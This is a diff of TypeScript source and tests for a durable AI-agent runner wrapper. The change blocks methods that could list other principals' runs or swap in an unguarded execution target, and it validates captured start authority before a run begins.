+//     every thread-runtime path resolves through #getThreadRuntimeAgent()
+//     (:33612, `this.#threadRuntimeAgent ?? this`): subscribeToThread
+//     (:38197), claimThreadOwnership (:38203), sendMessage (:38331),
+//     queueMessage (:38337), sendStateSignal (:38355), sendNotificationSignal
+//     (through #sendNotificationSignalBatch, :38442 and :38510) and sendSignal
+//     (:38562). That is the fourth ground by installation rather than by call:
+//     the containment those inherited members rely on IS virtual dispatch on
+//     `this`, so one call moves every run those paths start onto an agent
+//     carrying none of these overrides — no caller-minted runId assertion, no
+//     executeWorkflow, no #startRequesters backstop. subscribeToThread drives
+//     no run of its own; the field moves its replay target all the same. It is
+//     public in the type surface (agent.d.ts:229 declares it with no modifier),
+//     so unlike getLegacyHandler it takes no private cast. Breakwater files it
+//     `explicitlyNonExecution` (agent.test.ts:879) for the reason it files the
+//     listings there: a narrowed HANDLE can only omit, so a setter is harmless
+//     there, while an INSTANCE Mastra calls in-process must throw.
+//
+// Neither carries the `override` keyword, and that is load-bearing rather than
+// an oversight: TypeScript rejects `override` on a member the base does not
+// declare, and 1.53.0 declares neither, so the keyword would fail the pinned
+// typecheck that gates every merge. Each signature must still satisfy the base
+// it acquires on newest; the caveat on each member says how. Both re-checks
+// come due together, when the declared peer reaches a core that carries either
+// member: the VERSION_SKEW expiry assertion in durable-agent-surface.test.ts
+// goes red there, because each member's row claims the installed core carries
+// it on neither prototype. That message speaks about the row alone; these two
+// members' keyword and signature move with it.
 //
 // Blocking them keeps the single-resume and no-capability guarantees true by
 // construction: resumeViaRuntime() is the ONLY way a run resumes.
@@ -252,12 +307,68 @@ import {
   isExecutionPrincipalId,
   isExecutionPrincipalKind,
 } from '../approval-api/principal.js';
+import {
+  type D1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeStartIdentity,
+  type RunExecutionIdentity,
+  type StartExecutionIdentity,
+  type StartIdentity,
+} from '../do-runner/execution-admission.js';
 import {
   InvalidRunRequestError,
   isPathSafeId,
-  type RunnerRuntime,
-  type RunSummary,
+  RunStateUnreadableError,
 } from '../do-runner/index.js';
+import { resourceIdFromKey } from '../do-runner/memory-id.js';
+import type {
+  AuthoritativeStartState,
+  LegacyRunState,
+  RunnerRuntime,
+  RunSummary,
+  StartRunOptions,
+} from '../do-runner/runtime.js';
+import {
+  captureReservation,
+  type StartReservationReading,
+} from '../do-runner/start-reservation-contract.js';
+
+/** @internal One owned snapshot observation; pending never carries a summary. */
+export type AuthoritativeAgentStartState = AuthoritativeStartState & {
+  readonly execution: StartExecutionIdentity;
+  readonly threaded: boolean;
+};
+
+/** @internal Selected ordinary agent data without generation authority. */
+export type LegacyAgentRunState = LegacyRunState & {
+  readonly threaded: boolean;
+};
+
+/** @internal A coherent snapshot belongs to another agent or thread. */
+export class AgentRunSelectorMismatchError extends RunStateUnreadableError {
+  constructor(workflowId: string, runId: string) {
+    super(workflowId, runId);
+    this.name = 'AgentRunSelectorMismatchError';
+  }
+}
+
+/** @internal Host-owned start authority captured before streaming. */
+export interface AgentStartAuthority {
+  readonly startReservation?: StartReservationReading;
+  readonly mutationEpoch?: number;
+  readonly startIdentity: StartIdentity & {
+    readonly target: {
+      readonly kind: 'agent';
+      readonly id: string;
+      readonly threadId: string;
+    };
+  };
+  readonly agentStart: { readonly threaded: boolean };
+  readonly onPreparedStartIdentity:
+    | ((execution: RunExecutionIdentity) => void | Promise<void>)
+    | undefined;
+  readonly runOwnerGuard?: StartRunOptions['runOwnerGuard'];
+}
 
 /**
  * The shared workflow id every durable-agent loop compiles to (core's
@@ -286,6 +397,108 @@ interface BreakwaterGuardedAgentHostProtocol {
   readonly supportsDurableStructuredOutput: false;
 }
 
+function captureAgentStartAuthority(
+  source: AgentStartAuthority,
+  requestedBy: string,
+  requestedByKind: ExecutionPrincipalKind,
+): AgentStartAuthority {
+  if (source === null || typeof source !== 'object' || Array.isArray(source)) {
+    throw new InvalidRunRequestError('agent start authority is required');
+  }
+  const {
+    mutationEpoch: rawEpoch,
+    startIdentity: rawIdentity,
+    agentStart: rawAgentStart,
+    onPreparedStartIdentity,
+    runOwnerGuard: rawGuard,
+    startReservation: rawReservation,
+  } = source;
+  if (
+    rawIdentity === undefined ||
+    rawAgentStart === undefined ||
+    !Object.hasOwn(source, 'onPreparedStartIdentity')
+  ) {
+    throw new InvalidRunRequestError('agent start authority is incomplete');
+  }
+  const startReservation =
+    rawReservation === undefined
+      ? undefined
+      : captureReservation(rawReservation, 'started');
+  const mutationEpoch = normalizeMutationEpoch(rawEpoch);
+  const identity = normalizeStartIdentity(rawIdentity);
+  if (identity.target.kind !== 'agent') {
+    throw new InvalidRunRequestError(
+      'agent start authority requires an agent target',
+    );
+  }
+  if (
+    identity.owner.id !== requestedBy ||
+    identity.owner.kind !== requestedByKind
+  ) {
+    throw new InvalidRunRequestError(
+      'startIdentity owner does not match requester',
+    );
+  }
+  if (
+    rawAgentStart === null ||
+    typeof rawAgentStart !== 'object' ||
+    Array.isArray(rawAgentStart)
+  ) {
+    throw new InvalidRunRequestError('agentStart is malformed');
+  }
+  const { threaded } = rawAgentStart;
+  if (typeof threaded !== 'boolean') {
+    throw new InvalidRunRequestError('agentStart is malformed');
+  }
+  if (
+    onPreparedStartIdentity !== undefined &&
+    typeof onPreparedStartIdentity !== 'function'
+  ) {
+    throw new InvalidRunRequestError('onPreparedStartIdentity is malformed');
+  }
+  let runOwnerGuard: AgentStartAuthority['runOwnerGuard'];
+  if (rawGuard !== undefined) {
+    if (
+      rawGuard === null ||
+      typeof rawGuard !== 'object' ||
+      Array.isArray(rawGuard)
+    ) {
+      throw new InvalidRunRequestError('runOwnerGuard is malformed');
+    }
+    const { owner: rawOwner, reservationToken } = rawGuard;
+    if (
+      rawOwner === null ||
+      typeof rawOwner !== 'object' ||
+      Array.isArray(rawOwner)
+    ) {
+      throw new InvalidRunRequestError('runOwnerGuard is malformed');
+    }
+    const { kind, id } = rawOwner;
+    if (
+      !isExecutionPrincipalKind(kind) ||
+      !isExecutionPrincipalId(id) ||
+      !isPathSafeId(reservationToken)
+    ) {
+      throw new InvalidRunRequestError('runOwnerGuard is malformed');
+    }
+    runOwnerGuard = Object.freeze({
+      owner: Object.freeze({ kind, id }),
+      reservationToken,
+    });
+  }
+  return Object.freeze({
+    mutationEpoch,
+    startIdentity: Object.freeze({
+      owner: identity.owner,
+      target: identity.target,
+    }),
+    agentStart: Object.freeze({ threaded }),
+    onPreparedStartIdentity,
+    runOwnerGuard,
+    startReservation,
+  });
+}
+
 function snapshotDurableCallOptions<T extends object>(options: T): T;
 function snapshotDurableCallOptions(options: undefined): undefined;
 function snapshotDurableCallOptions<T extends object>(
@@ -399,8 +612,9 @@ const THREAD_TOOL_APPROVAL_REASON =
  *  3. snapshot deletion owned by deployment-scoped retention;
  *  4. a SECOND execution surface that runs the agent outside RunnerRuntime
  *     entirely, or that mints a run id below the caller — the network loop's
- *     own workflow, the legacy handler, and the thread runtime's tool-approval
- *     continuation.
+ *     own workflow, the legacy handler, the thread runtime's tool-approval
+ *     continuation, and the setter that installs a different agent as the
+ *     thread runtime's execution target.
  *
  * Deliberately NOT re-exported from `./index.js` (a named-exports-only barrel),
  * so this stays off the public `@proofoftech/flowsafe/agent-runner` subpath.
@@ -421,6 +635,8 @@ export const BLOCKED_RUN_ENTRIES = {
     "core scopes the running-run listing by agentId plus the caller's own optional thread and resource ids, never by per-principal ownership, so it bypasses the host topology's run-ownership checks and returns run, thread and resource ids the caller does not own",
   listSuspendedRuns:
     "core scopes the suspended-run listing by agentId plus the caller's own optional thread and resource ids, never by per-principal ownership, so it bypasses the host topology's run-ownership checks and returns run, thread and resource ids the caller does not own",
+  listActiveThreadRuns:
+    'core scopes the active thread-run listing by nothing at all: it takes no arguments and returns the run, thread and resource ids of every thread on the pubsub instance with a run in flight, which core keys by pubsub instance rather than by agent, so it enumerates ids across every principal AND every agent that shares the instance',
   deleteRunSnapshots:
     'durable-agent snapshot rows are retained until deployment-scoped retention purge removes them',
   network: `${NETWORK_FAMILY_REASON}, and it mints an unowned run id when the caller omits one`,
@@ -430,6 +646,8 @@ export const BLOCKED_RUN_ENTRIES = {
   generateLegacy: LEGACY_FAMILY_REASON,
   streamLegacy: LEGACY_FAMILY_REASON,
   sendToolApproval: THREAD_TOOL_APPROVAL_REASON,
+  __setThreadRuntimeAgent:
+    "it installs the agent every thread-runtime path resolves its target through — subscribeToThread, claimThreadOwnership, sendMessage, queueMessage, sendStateSignal, sendNotificationSignal and sendSignal all read the field it writes — so one call moves every run those paths start, and subscribeToThread's replay target with them, onto an agent that carries none of this class's overrides: no caller-minted run id, no executeWorkflow, and no terminal refusal for a run the host start seam never registered",
 } as const;
 
 /**
@@ -582,6 +800,7 @@ export class FlowsafeDurableAgent<
    * `finally`, so nothing outlives the start it belongs to.
    */
   readonly #startIdempotencyKeys = new Map<string, string>();
+  readonly #startAuthorities = new Map<string, AgentStartAuthority>();
   readonly #startScheduleDispatches = new Map<
     string,
     { scheduleId: string; dispatchId: string }
@@ -647,18 +866,23 @@ export class FlowsafeDurableAgent<
    * consumption make that exemption unavailable to callers.
    */
   #assertRunIdNotLive(runId: string): void {
-    if (
-      this.#startRequesters.has(runId) ||
-      this.#persistenceWaiters.has(runId) ||
-      globalRunRegistry.has(runId) ||
-      this.runRegistryInternal.has(runId)
-    ) {
+    if (this.isRunLive(runId)) {
       throw new InvalidRunRequestError(
         'run id is live in the run registry — a registered run cannot be re-entered',
       );
     }
   }
 
+  /** @internal */
+  isRunLive(runId: string): boolean {
+    return (
+      this.#startRequesters.has(runId) ||
+      this.#persistenceWaiters.has(runId) ||
+      globalRunRegistry.has(runId) ||
+      this.runRegistryInternal.has(runId)
+    );
+  }
+
   #assertGuardedStructuredOutput(options: unknown): void {
     if (
       this.#isBreakwaterGuardedAgent &&
@@ -730,7 +954,7 @@ export class FlowsafeDurableAgent<
     requestedBy: string,
     requestedByKind: ExecutionPrincipalKind,
     attemptToken = crypto.randomUUID(),
-    scheduleDispatch?: { scheduleId: string; dispatchId: string },
+    scheduleDispatch: { scheduleId: string; dispatchId: string } | undefined,
     /**
      * The idempotency key the thread topology already RESERVED for this run.
      *
@@ -745,7 +969,8 @@ export class FlowsafeDurableAgent<
      * core, because core owns the call between `stream()` and
      * `executeWorkflow()` and carries no field this could ride in.
      */
-    idempotencyKey?: string,
+    idempotencyKey: string | undefined,
+    authority: AgentStartAuthority,
   ): Promise<
     Awaited<ReturnType<DurableAgent<TAgentId, TTools, TOutput>['stream']>>
   > {
@@ -763,6 +988,26 @@ export class FlowsafeDurableAgent<
     if (!isExecutionPrincipalKind(requestedByKind)) {
       throw new InvalidRunRequestError('requestedByKind is malformed');
     }
+    const capturedAuthority = captureAgentStartAuthority(
+      authority,
+      requestedBy,
+      requestedByKind,
+    );
+    let capturedScheduleDispatch: typeof scheduleDispatch;
+    if (scheduleDispatch !== undefined) {
+      if (
+        scheduleDispatch === null ||
+        typeof scheduleDispatch !== 'object' ||
+        Array.isArray(scheduleDispatch)
+      ) {
+        throw new Error('stored run lifecycle is malformed');
+      }
+      const { scheduleId, dispatchId } = scheduleDispatch;
+      if (!isPathSafeId(scheduleId) || !isPathSafeId(dispatchId)) {
+        throw new Error('stored run lifecycle is malformed');
+      }
+      capturedScheduleDispatch = Object.freeze({ scheduleId, dispatchId });
+    }
     const runId = callOptions.runId;
     this.#assertRunIdNotLive(runId);
     let resolve!: () => void;
@@ -776,8 +1021,9 @@ export class FlowsafeDurableAgent<
     this.#startRequesters.set(runId, requestedBy);
     this.#startRequesterKinds.set(runId, requestedByKind);
     this.#startAttemptTokens.set(runId, attemptToken);
-    if (scheduleDispatch) {
-      this.#startScheduleDispatches.set(runId, scheduleDispatch);
+    this.#startAuthorities.set(runId, capturedAuthority);
+    if (capturedScheduleDispatch) {
+      this.#startScheduleDispatches.set(runId, capturedScheduleDispatch);
     }
     if (idempotencyKey !== undefined) {
       this.#startIdempotencyKeys.set(runId, idempotencyKey);
@@ -806,6 +1052,7 @@ export class FlowsafeDurableAgent<
       this.#startAttemptTokens.delete(runId);
       this.#startScheduleDispatches.delete(runId);
       this.#startIdempotencyKeys.delete(runId);
+      this.#startAuthorities.delete(runId);
     }
   }
 
@@ -959,6 +1206,30 @@ export class FlowsafeDurableAgent<
     );
   }
 
+  /**
+   * Refuse the thread-level run enumerator newer cores add.
+   * `listActiveThreadRuns()` takes no arguments and returns a runId plus the
+   * resourceId and threadId parsed out of the key for every thread on the
+   * pubsub instance with a run in flight, and core keys that state by pubsub
+   * instance rather than by agent — so it is the same discovery ground as
+   * {@link FlowsafeDurableAgent.listActiveRuns} with the last scoping gone.
+   * The in-process sibling `getActiveThreadRunId()` stays inherited because it
+   * makes the caller name the (resourceId, threadId) pair it confirms.
+   *
+   * Signature caveat, and the reason this one is not `async`: the base declares
+   * it SYNCHRONOUS (`listActiveThreadRuns(): ActiveThreadRun[]`), so the
+   * `async … Promise<never>` shape every other refusal here carries would not
+   * be assignable to it. No `override` keyword either — the pinned 1.53.0
+   * declares no such member, and `override` on a member the base lacks is a
+   * type error. Both are re-checks for a peer bump.
+   */
+  listActiveThreadRuns(): never {
+    throw unavailableRunEntry(
+      'listActiveThreadRuns',
+      BLOCKED_RUN_ENTRIES.listActiveThreadRuns,
+    );
+  }
+
   /**
    * Refuse the multi-agent network start. `network()` does not touch the
    * durable-agentic-loop at all: it compiles a SEPARATE workflow and drives it
@@ -1084,6 +1355,33 @@ export class FlowsafeDurableAgent<
     );
   }
 
+  /**
+   * Refuse the thread-runtime target swap newer cores add. It sets one private
+   * field, and every thread-runtime path — `subscribeToThread`,
+   * `claimThreadOwnership`, `sendMessage`, `queueMessage`, `sendStateSignal`,
+   * `sendNotificationSignal` and `sendSignal` — resolves its target through
+   * that field, falling back to `this`. So the containment those inherited
+   * members rely on is virtual dispatch on `this`, and one call to this setter
+   * moves every run they start, and `subscribeToThread`'s replay target with
+   * them, onto an agent with none of these overrides in the chain. That is the
+   * fourth ground reached by installing a second execution surface rather than
+   * by calling one.
+   *
+   * Signature caveat: the parameter is `unknown` rather than core's
+   * `Agent<any, any, any, any>` because the pinned 1.53.0 declares no such
+   * member at all, while newest 1.x does — `unknown` is the one supertype of
+   * core's parameter, so it satisfies that base without depending on method
+   * bivariance, and it constrains nothing on the pin, where there is no base
+   * member to satisfy. No `override` keyword, for the same reason as
+   * {@link FlowsafeDurableAgent.listActiveThreadRuns}.
+   */
+  __setThreadRuntimeAgent(_agent: unknown): never {
+    throw unavailableRunEntry(
+      '__setThreadRuntimeAgent',
+      BLOCKED_RUN_ENTRIES.__setThreadRuntimeAgent,
+    );
+  }
+
   /**
    * Refuse core's terminal snapshot cleanup. Its only call sites are the base
    * `executeWorkflow` (overridden here), the blocked `resume()` and the blocked
@@ -1480,6 +1778,177 @@ export class FlowsafeDurableAgent<
     }
   }
 
+  /** @internal Include validated legacy agent data for ordinary host operations. */
+  authoritativeAgentStartState(
+    expectedRuntime: RunnerRuntime,
+    threadId: string,
+    runId: string,
+    options: { readonly includeLegacy: true },
+  ): Promise<AuthoritativeAgentStartState | LegacyAgentRunState | null>;
+  /** @internal Select the actual private Runtime/workflow and immutable agent owner once. */
+  authoritativeAgentStartState(
+    expectedRuntime: RunnerRuntime,
+    threadId: string,
+    runId: string,
+  ): Promise<AuthoritativeAgentStartState | null>;
+  async authoritativeAgentStartState(
+    expectedRuntime: RunnerRuntime,
+    threadId: string,
+    runId: string,
+    options?: { readonly includeLegacy: true },
+  ): Promise<AuthoritativeAgentStartState | LegacyAgentRunState | null> {
+    const includeLegacy = options?.includeLegacy === true;
+    const runtime = this.#runtime;
+    const workflowId = this.getWorkflow().id;
+    const agentId = this.#wrappedAgent.id;
+    try {
+      if (
+        expectedRuntime !== runtime ||
+        !isPathSafeId(threadId) ||
+        !isPathSafeId(runId)
+      )
+        throw new Error('agent observation selector is invalid');
+      const state = includeLegacy
+        ? await runtime.authoritativeStartState(workflowId, runId, {
+            includeLegacy: true,
+          })
+        : await runtime.authoritativeStartState(workflowId, runId);
+      if (state === null) return null;
+      if (state.kind === 'legacy') {
+        if (!includeLegacy)
+          throw new Error('legacy agent observation requires explicit opt-in');
+        const context = state.snapshot.requestContext;
+        const input = state.snapshot.context?.input as
+          | {
+              agentId?: unknown;
+              runId?: unknown;
+              messageListState?: {
+                memoryInfo?: {
+                  threadId?: unknown;
+                  resourceId?: unknown;
+                } | null;
+              };
+            }
+          | undefined;
+        const correlation = context?.['breakwater.auditContext'] as
+          | Record<string, unknown>
+          | undefined;
+        const memory = input?.messageListState?.memoryInfo;
+        const observedAgentId = input?.agentId;
+        const observedThreadId = context?.threadId;
+        if (!isPathSafeId(observedAgentId) || !isPathSafeId(observedThreadId))
+          throw new Error('legacy agent observation identity is malformed');
+        const observedResourceId = resourceIdFromKey(observedThreadId);
+        if (
+          state.address.workflowId !== workflowId ||
+          state.address.runId !== runId ||
+          (input?.runId !== undefined && input.runId !== runId) ||
+          context?.runId !== runId ||
+          context.resourceId !== observedResourceId ||
+          correlation?.agentId !== observedAgentId ||
+          correlation.threadId !== observedThreadId ||
+          correlation.resourceId !== observedResourceId ||
+          (memory !== null &&
+            (memory?.threadId !== observedThreadId ||
+              memory.resourceId !== observedResourceId))
+        )
+          throw new Error(
+            'legacy agent observation context contradicts identity',
+          );
+        if (observedAgentId !== agentId || observedThreadId !== threadId)
+          throw new AgentRunSelectorMismatchError(workflowId, runId);
+        return { ...state, threaded: memory !== null };
+      }
+      const identity = state.provenance.startIdentity;
+      const threaded = state.provenance.agentStart?.threaded;
+      if (
+        identity?.target.kind !== 'agent' ||
+        typeof threaded !== 'boolean' ||
+        state.execution.workflowId !== workflowId ||
+        state.execution.runId !== runId
+      )
+        throw new Error('agent observation identity is malformed');
+      const observedAgentId = identity.target.id;
+      const observedThreadId = identity.target.threadId;
+      const observedResourceId = resourceIdFromKey(observedThreadId);
+      const context = state.snapshot.requestContext;
+      const record = (value: unknown): Record<string, unknown> => {
+        if (value === null || typeof value !== 'object' || Array.isArray(value))
+          throw new Error('agent observation context is malformed');
+        return value as Record<string, unknown>;
+      };
+      const check = (value: unknown, selectors: Record<string, string>) => {
+        if (value === undefined) return;
+        const values = record(value);
+        for (const [key, expected] of Object.entries(selectors))
+          if (Object.hasOwn(values, key) && values[key] !== expected)
+            throw new Error('agent observation context contradicts identity');
+      };
+      check(context, {
+        runId,
+        threadId: observedThreadId,
+        resourceId: observedResourceId,
+      });
+      check(context?.['breakwater.auditContext'], {
+        agentId: observedAgentId,
+        threadId: observedThreadId,
+        resourceId: observedResourceId,
+      });
+      const input = state.snapshot.context?.input;
+      if (input !== undefined) {
+        check(input, { agentId: observedAgentId, runId });
+        const messageList = record(input).messageListState;
+        if (messageList !== undefined) {
+          const values = record(messageList);
+          if (Object.hasOwn(values, 'memoryInfo')) {
+            const memory = values.memoryInfo;
+            if (memory === null) {
+              if (threaded) throw new Error('agent mode contradicts memory');
+            } else {
+              const selected = record(memory);
+              if (
+                !threaded ||
+                selected.threadId !== observedThreadId ||
+                selected.resourceId !== observedResourceId
+              )
+                throw new Error('agent mode contradicts memory');
+            }
+          }
+        }
+      }
+      if (observedAgentId !== agentId || observedThreadId !== threadId)
+        throw new AgentRunSelectorMismatchError(workflowId, runId);
+      return {
+        ...state,
+        execution: { ...state.execution, ...identity },
+        threaded,
+      } as AuthoritativeAgentStartState;
+    } catch (cause) {
+      if (cause instanceof RunStateUnreadableError) throw cause;
+      throw new RunStateUnreadableError(workflowId, runId, { cause });
+    }
+  }
+
+  /** @internal Initial identity can correlate proof without granting replay success. */
+  async proofExecutionFor(
+    expectedRuntime: RunnerRuntime,
+    threadId: string,
+    runId: string,
+  ): Promise<D1RunExecutionIdentity | undefined> {
+    const state = await this.authoritativeAgentStartState(
+      expectedRuntime,
+      threadId,
+      runId,
+    );
+    if (state?.storage !== 'd1') return undefined;
+    return {
+      tablePrefix: state.execution.tablePrefix,
+      workflowId: state.execution.workflowId,
+      runId: state.execution.runId,
+      startToken: state.execution.startToken,
+    };
+  }
+
   /**
    * Drive the durable-agentic-loop through RunnerRuntime instead of the base
    * `createRun + run.start`. stream()/generate() have already parked the
@@ -1505,13 +1974,7 @@ export class FlowsafeDurableAgent<
       const attemptToken = this.#startAttemptTokens.get(runId);
       const scheduleDispatch = this.#startScheduleDispatches.get(runId);
       const idempotencyKey = this.#startIdempotencyKeys.get(runId);
-      const startOptions = {
-        runId,
-        inputData: workflowInput,
-        ...(attemptToken === undefined ? {} : { attemptToken }),
-        ...(scheduleDispatch === undefined ? {} : { scheduleDispatch }),
-        ...(idempotencyKey === undefined ? {} : { idempotencyKey }),
-      };
+      const authority = this.#startAuthorities.get(runId);
       if (requestedBy === undefined || requestedByKind === undefined) {
         if (requestedBy !== undefined || requestedByKind !== undefined) {
           throw new InvalidRunRequestError(
@@ -1539,10 +2002,40 @@ export class FlowsafeDurableAgent<
         if (!published) throw refusal;
         return;
       }
-      summary = await this.#runtime.start(this.getWorkflow().id, {
-        ...startOptions,
+      const {
+        runId: coreRunId,
+        agentId: coreAgentId,
+        ...payload
+      } = workflowInput;
+      if (!authority) {
+        throw new InvalidRunRequestError(
+          'registered run is missing agent start authority',
+        );
+      }
+      if (
+        coreRunId !== runId ||
+        authority.startIdentity.target.id !== this.#wrappedAgent.id ||
+        coreAgentId !== authority.startIdentity.target.id
+      ) {
+        throw new InvalidRunRequestError(
+          'Core input does not match agent start authority',
+        );
+      }
+      const workflow = this.getWorkflow();
+      summary = await this.#runtime.start(workflow.id, {
+        runId,
+        inputData: { ...payload, runId: coreRunId, agentId: coreAgentId },
+        ...(attemptToken === undefined ? {} : { attemptToken }),
+        ...(scheduleDispatch === undefined ? {} : { scheduleDispatch }),
+        ...(idempotencyKey === undefined ? {} : { idempotencyKey }),
         requestedBy,
         requestedByKind,
+        mutationEpoch: authority.mutationEpoch,
+        startIdentity: authority.startIdentity,
+        agentStart: authority.agentStart,
+        onPreparedStartIdentity: authority.onPreparedStartIdentity,
+        runOwnerGuard: authority.runOwnerGuard,
+        startReservation: authority.startReservation,
       });
       waiter?.resolve();
     } catch (error) {
diff --git a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts
index 63401433..9a0f0f75 100644
--- a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts
+++ b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts
@@ -84,17 +84,26 @@ const blockedEntries = Object.keys(BLOCKED_RUN_ENTRIES) as ReadonlyArray<
  * core DROPPING a durable blocked member pass silently, whereas an exact-match
  * assertion turns that into a failure that demands re-reading the member.
  *
- * Three families beyond the discovery member: the NETWORK four, which drive
+ * Families beyond the two discovery members: the NETWORK four, which drive
  * the multi-agent loop's own workflow with `createRun + run.stream/resumeStream`
  * outside RunnerRuntime (and `network()` mints its own run id); the LEGACY
  * pair, which run the agent's tools through AgentLegacyHandler while minting a
- * run id and skipping `requireAgentExecutionFGA`; and `sendToolApproval`,
- * whose continuation branch starts a run under a `randomUUID()` fallback.
+ * run id and skipping `requireAgentExecutionFGA`; `sendToolApproval`, whose
+ * continuation branch starts a run under a `randomUUID()` fallback; and
+ * `__setThreadRuntimeAgent`, which installs the agent the thread runtime drives
+ * in place of this one.
+ *
+ * `__setThreadRuntimeAgent` and `listActiveThreadRuns` sit on no prototype at
+ * all on the pinned core, which exposes neither, so they carry VERSION_SKEW
+ * rows. The exact-match assertion holds at both versions all the same: absent
+ * from DurableAgent.prototype counts as outside it.
  */
 const blockedOnAgentPrototype = [
+  '__setThreadRuntimeAgent',
   'approveNetworkToolCall',
   'declineNetworkToolCall',
   'generateLegacy',
+  'listActiveThreadRuns',
   'listSuspendedRuns',
   'network',
   'resumeNetwork',
@@ -124,14 +133,20 @@ const blockedByRunner = blockedEntries.filter(
 );
 
 /**
- * Constructors, accessors, registration hooks and delegators. None of them can
- * start, resume or re-drive a run, and none reads snapshot storage.
+ * Constructors, accessors, registration hooks, delegators and stop-only
+ * controls. None of them can start, resume or re-drive a run, and none reads
+ * snapshot storage.
  *
  * Honest caveat: `getWorkflow`, `getDurableWorkflows` and `listWorkflows`
  * return objects that themselves expose `createRun().start()`, and they are
  * load-bearing rather than removable — `executeWorkflow` and `resumeViaRuntime`
  * both read `this.getWorkflow()`. So this partition classifies ENTRY POINTS ON
  * THE AGENT, not the capabilities of the objects they hand back.
+ *
+ * Offsets in the reasons below are @mastra/core 1.67.0-vintage, in
+ * dist/create-durable-agent-DFHwqN2K.js unless another file is named; the
+ * members carrying one are absent from the pinned peer's durable prototype and
+ * so have a VERSION_SKEW row.
  */
 const nonExecution = [
   '__fork',
@@ -141,6 +156,11 @@ const nonExecution = [
   '__getStaticAgents',
   '__hasSubAgentsConfigured',
   '__registerMastra',
+  // Writes declarative schedule metadata onto the wrapped agent (:6240). A
+  // schedule Mastra later syncs into schedule storage still reaches this agent
+  // through a start seam, where a run the host never registered is terminally
+  // refused — so the worst case is a fail-closed refusal, not a start.
+  '__setDeclaredSchedules',
   '__setMastra',
   '__setMemory',
   '__setPubSub',
@@ -148,6 +168,22 @@ const nonExecution = [
   '__setWorkspace',
   '__updateInstructions',
   '__updateModel',
+  // Stop an in-flight run; there is no path from either to starting one. What
+  // they gained at 1.67.0 is reach and disclosure, not a mint: #abortDurableRun
+  // (:6598) flips any locally held controller and then calls
+  // requestRemoteAbort (:6626), which publishes an abort request over pubsub
+  // (:272) to whichever process holds the run — and abortRunStream returns
+  // `aborted || this.#isRunExecuting(runId)` (:6585), a boolean existence
+  // oracle for a run id the caller may not own. Both stay classified on the
+  // Agent level too: they are on Agent.prototype at the pin and shadowed here
+  // only at 1.67.0. Breakwater's narrowed handle omits both
+  // (agent.test.ts:828-829, in `intentionallyUnavailable`), a divergence
+  // running the opposite way to the ones durable-agent-runner.ts records, where
+  // breakwater is the weaker side: a handle can omit a member, while an
+  // instance Mastra calls in-process can only refuse it, and neither of these
+  // matches a blocked ground.
+  'abortRunStream',
+  'abortThreadStream',
   'agent',
   'browser',
   'cache',
@@ -159,12 +195,18 @@ const nonExecution = [
   // Publishes an error event onto the run's feed; executeWorkflow and
   // resumeViaRuntime both use it after a terminal summary.
   'emitError',
+  // The fire-and-forget half of emitError (:6548), which core calls from its
+  // own failure paths; it publishes onto a run's feed and starts nothing.
+  'emitErrorInBackground',
   'enableBackgroundTasks',
   'getBackgroundTasksConfig',
   'getChannels',
   'getConfiguredProcessorIds',
   'getConfiguredProcessorWorkflows',
   'getConfiguredToolHooks',
+  // Reads that schedule metadata back off the wrapped agent (:6233); it returns
+  // no run ids and touches no storage.
+  'getDeclaredSchedules',
   'getDefaultGenerateOptionsLegacy',
   'getDefaultNetworkOptions',
   'getDefaultOptions',
@@ -204,6 +246,12 @@ const nonExecution = [
   'pubsub',
   'pubsubInternal',
   'requestContextSchema',
+  // The abort primitive the two methods above share (:6626), and never blocked;
+  // the inventory asserts that rather than leaving it to this note. core calls
+  // it from #abortDurableRun (:6598, calling at :6601) and from the `abort`
+  // closure it returns with each durable stream result (:6814, :7095, :7265,
+  // :7796).
+  'requestRemoteAbort',
   'resolveProcessorById',
   'runRegistry',
   'runRegistryInternal',
@@ -225,11 +273,11 @@ const classified: readonly string[] = [
  *
  * The inventory above covers DurableAgent.prototype. But Mastra calls the
  * INSTANCE, and the instance also inherits every `Agent.prototype` member
- * DurableAgent does not shadow — 82 of them, including the network family, the
- * legacy pair and sendToolApproval, all of which drive execution. Classifying
- * only the durable half would leave that surface unpinned, so it gets the same
- * treatment: every name in exactly one list, nothing unclassified, nothing
- * stale.
+ * DurableAgent does not shadow — a surface whose size differs between the two
+ * supported cores, including the network family, the legacy pair and
+ * sendToolApproval, all of which drive execution. Classifying only the durable
+ * half would leave that surface unpinned, so it gets the same treatment: every
+ * name in exactly one list, nothing unclassified, nothing stale.
  * ---------------------------------------------------------------------------
  */
 const agentSurface = Object.getOwnPropertyNames(Agent.prototype).filter(
@@ -247,8 +295,20 @@ const agentSurface = Object.getOwnPropertyNames(Agent.prototype).filter(
  * five still have route callers. Any run core mints through them reaches a
  * terminal output without entering RunnerRuntime; see the runner module comment
  * for the cleanup mechanism.
+ *
+ * For the members that resolve their target through the thread runtime's agent
+ * field, the containment holds only while `__setThreadRuntimeAgent` is blocked,
+ * which is what keeps that target this instance.
  */
 const delegatingToGuard = [
+  // Opts the agent in as a thread's remote wake target: the thread runtime
+  // keeps the claim and, on an idle signal published by another process, drives
+  // `owner.agent.stream(...)` (storage-MbGlKLkB.js:672) with a run id from that
+  // message. `owner.agent` is `this`, so that lands on the guarded stream
+  // override — but the runId assertion is not what contains it, since a
+  // pubsub-supplied id is path-safe like any other; the terminal refusal
+  // `executeWorkflow` raises for a runId with no `#startRequesters` entry is.
+  'claimThreadOwnership',
   'queueMessage',
   'resumeStreamUntilIdle',
   'sendMessage',
@@ -267,10 +327,17 @@ const delegatingToGuard = [
  * listActiveRuns / recoverActiveRuns / observe / prepare. DurableAgent shadows
  * all six, so they are not in this surface at all — the test below asserts
  * that rather than trusting it.
+ *
+ * Offsets in the reasons below are @mastra/core 1.67.0-vintage, in
+ * dist/agent-Dk0N0Nlg.js unless another file is named; a member carrying one is
+ * absent from the pinned peer's Agent prototype, or sits there at a different
+ * level, and so has a VERSION_SKEW row.
  */
 const agentNonExecution = [
   '__getDrainPendingSignals',
   '__listLLMRequestProcessors',
+  // Sets the flag core's __fork path reads (:35357).
+  '__markStoredVersionApplied',
   '__registerPrimitives',
   '__resetToOriginalModel',
   // Run the processor chain, not a run. No run id, no storage.
@@ -278,16 +345,40 @@ const agentNonExecution = [
   '__runOutputProcessors',
   '__runProcessInputStep',
